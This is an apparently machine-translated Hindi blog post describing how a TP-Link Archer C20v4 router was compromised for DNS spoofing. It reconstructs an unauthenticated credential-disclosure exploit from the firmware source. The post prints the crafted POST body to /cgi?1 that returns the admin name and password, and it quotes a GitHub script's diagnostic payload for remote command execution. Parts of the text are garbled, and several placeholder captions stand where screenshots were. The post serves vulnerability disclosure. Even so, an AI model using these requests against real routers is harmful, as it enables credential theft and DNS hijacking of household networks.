🦍 🙏🏻 ⛓️ Tp- लिंक हैक के बाद 🐘 🥇 🐒

डीएनएस स्पूफिंग के साथ हैकिंग एक काफी सामान्य हमला विधि है। मुख्य रूप से इसकी सादगी के कारण। हमले का सार झूठे आईपी को वापस करने के लिए, हमलावर के डीएनएस सर्वर के पते पर पीड़ित के नेटवर्क सेटिंग्स में डीएनएस पते को बदलना है। और आगे, कौन बहुत परवाह करता है - भुगतान आवश्यकताओं के साथ कथित प्रदाता ठूंठ के लिए पासवर्ड चोरी करने के लिए सोशल नेटवर्क के सामान्य फ़िशिंग पृष्ठों से।

इस सब में सबसे दिलचस्प बात, मैं उन तरीकों के बारे में सोचता हूं जिनमें बॉट, एक रास्ता या किसी अन्य, राउटर पर मिलता है। और आज मैं इनमें से किसी एक तरीके के बारे में बात करूंगा।

हमारे पास क्या है:

ब्रांड का नया आर्चर c20v4 राउटर, केवल नवीनतम आधिकारिक फर्मवेयर के साथ, बॉक्स से बाहर।
वैन इंटरफ़ेस और खुले वेब एक्सेस पर बाहरी आईपी पता।
एक पासवर्ड पर्याप्त जटिल है जो इसके चयन और इसे जानने वाले लोगों के सीमित दायरे के बारे में चिंता नहीं करता है।
एक दिन के बाद: डीएनओ स्पूफिंग और सभी अनुरोध एक स्टब पर लिपटे हुए हैं।

आपको क्या चाहिए:
डिवाइस का उपयोग करने का तरीका जानें।

सबसे पहले, एक परीक्षण रोगी पर, Google में पाए जाने वाले सभी ज्ञात पुराने कीड़े का परीक्षण किया गया था। बेशक, कुछ भी काम नहीं किया।

जीथब ( tyk ) पर एक स्क्रिप्ट मिली, जो आपको रूट से C20i और C2 मॉडल पर दूरस्थ रूप से कमांड निष्पादित करने की अनुमति देती है। थोड़ा जो हमें चाहिए नहीं, लेकिन सही दिशा निर्धारित करें।

सभी कार्यों में अनुरोधों के लिए समान "शेल" था - ये url / cgi के लिए POST अनुरोध हैं ? 2 (और 7), " [setup_name # 0,0,0,0,0,0,0 # 0,0,0,0,0 , 0] "और एक विशेष रेफ़र ।

आधिकारिक साइट टीपी-लिंक से हमारे फर्मवेयर के स्रोत कोड डाउनलोड करें और इसे अनपैक करें। क्योंकि राउटर की लाइन समान है, तो सॉफ्टवेयर कम से कम थोड़ा समान होना चाहिए, है ना?

ग्रेप

grep -Hrn "/cgi?2" ---------------------------------------------- ../../setPwd.htm:278: xmlHttpObj.open("POST", "/cgi?2", true);

बिंगो। फ़ाइल का नाम संकेत देता है कि यह आगे बहुत दिलचस्प होगा। हम कोड को एक पंक्ति में पाते हैं जिसमें हमने पोषित "cgi? 2" को देखा था। नीचे पूरा कार्य है:

doSetUsrName

  function doSetUsrName() { var xmlHttpObj; var args = "[USER_CFG#0,0,0,0,0,0#0,0,0,0,0,0]0,1\r\nadminName=" + $("newUsr").value + "\r\n"; xmlHttpObj = getHttpObject(function() { if (xmlHttpObj.status == 200) { getUsrName(); } else return; }); xmlHttpObj.open("POST", "/cgi?2", true); xmlHttpObj.send(args); }

निष्पादित होने पर यह फ़ंक्शन, दूसरे को कॉल करता है - getUsrName ()।

लॉगिन फ़ंक्शन:

getUsrName

  function getUsrName() { var xmlHttpObj; var args = "[USER_CFG#0,0,0,0,0,0#0,0,0,0,0,0]0,1\r\nadminName\r\n"; xmlHttpObj = getHttpObject(function() { if (xmlHttpObj.status == 200) { currUserName = xmlHttpObj.responseText.split("\n")[1].replace("adminName=", ""); doSetPassword(); } else return; }); xmlHttpObj.open("POST", "/cgi?1", true); xmlHttpObj.send(args); }

लेकिन सिर्फ लॉगिन से कुछ न करें। हम एक पासवर्ड में रुचि रखते हैं। हम जानते हैं कि लॉगिन USER_CFG ऑब्जेक्ट के अंदर AdminName चर में संग्रहीत है। स्रोत में एक खोज ने निम्नलिखित परिणाम दिए: (मैं केवल वांछित परिणाम छोड़ दूंगा)

ग्रेप आउटपुट

 grep -Hrn USER_CFG ------------------------ sysfiles/config/en/common/reduced_data_model.xml

लोअर_डाटा_मोडेल.एक्सएमएल खोलें और इसमें निम्नलिखित कोड टुकड़ा देखें:

एक्सएमएल

 <X_TP_UserCfg t=or=P s=USER_CFG_OBJ h=1 > <RootName t=sr=R l=16 al=cli h=1 /> <RootPwd t=sr=R l=16 al=cli h=1 /> <AdminName t=sr=W l=16 al=cli d=admin h=1 /> <AdminPwd t=sr=W l=16 al=cli d=admin h=1 /> <UserName t=sr=W l=16 al=cli h=1 /> <UserPwd t=sr=W l=16 al=cli h=1 /> </X_TP_UserCfg>

यहां हमने पहले से ही ज्ञात चर "AdminName" और उसके बगल में संग्रहीत किया है - AdminPwd। सच लगता है।

अब हमें बस सही POST अनुरोध तैयार करना है, जिसके लिए हमें राउटर के लिए आवश्यक डेटा के साथ जवाब देना होगा। हम फिर से गितुब से स्क्रिप्ट की ओर मुड़ते हैं और देखते हैं कि यह कैसे किया जाता है:

डेटा

 data = ( "[IPPING_DIAG#0,0,0,0,0,0#0,0,0,0,0,0]0,6\r\n" "dataBlockSize=64\r\n" "timeout=1\r\n" "numberOfRepetitions=1\r\n" "host=127.0.0.1\r\n" "X_TP_ConnName=ewan_ipoe_s\r\n" "diagnosticsState=Requested\r\n" )

सादृश्य से, हम अपना अनुरोध बनाते हैं:

डेटा

 "[USER_CFG#0,0,0,0,0,0#0,0,0,0,0,0]0,2\r\n" "adminName\r\n" "adminPwd\r\n"

IIIiii भेजते हैं। विंडसरक में, पैकेज इस तरह दिखता है:

जांच

हम उत्तर देखते हैं:

जवाब

एक चौकस पाठक ध्यान देगा कि POST का अनुरोध "/ cgi? 1" को भेजा गया था, और स्क्रिप्ट में "/ cgi? 2" के समान नहीं था। यह सही है। हमें केवल पासवर्ड का पता लगाने की आवश्यकता है। प्राधिकरण के लिए डेटा प्राप्त करने के बाद, आप पहले से ही एक समान अपमान में संलग्न हो सकते हैं।

लॉग इन करें:

अनुरोध प्राप्त करें

और हम पहले से ही किसी भी डेटा को चीरने के लिए अधिकृत हैं, जिसे हम केवल कम_डाटा_मॉडल.एलएम फाइल फ़ाइल में देखकर महत्वपूर्ण मानते हैं:

जांच

जवाब

जांच

जवाब

फिलहाल, C20v4 राउटर के स्रोत कोड को Tp-Link वेबसाइट से हटा दिया गया है और इसके बजाय V5 कोड पोस्ट किए गए हैं। लेकिन दुर्भाग्य से, अभी तक कोई आधिकारिक फर्मवेयर नहीं है।

खुशखबरी: यह जोखिम तभी उठाया जाता है जब वेब एक्सेस सभी के लिए खुला हो।
बुरी खबर: किसी के बॉट पहले से ही सही अनुरोधों के साथ बाहरी पतों पर दस्तक दे रहे हैं।

ArcherC20V4 मॉडल के अलावा ArcherC2V5 मॉडल भी इस भेद्यता से प्रभावित है ।

Tp- लिंक हैक के बाद

More articles: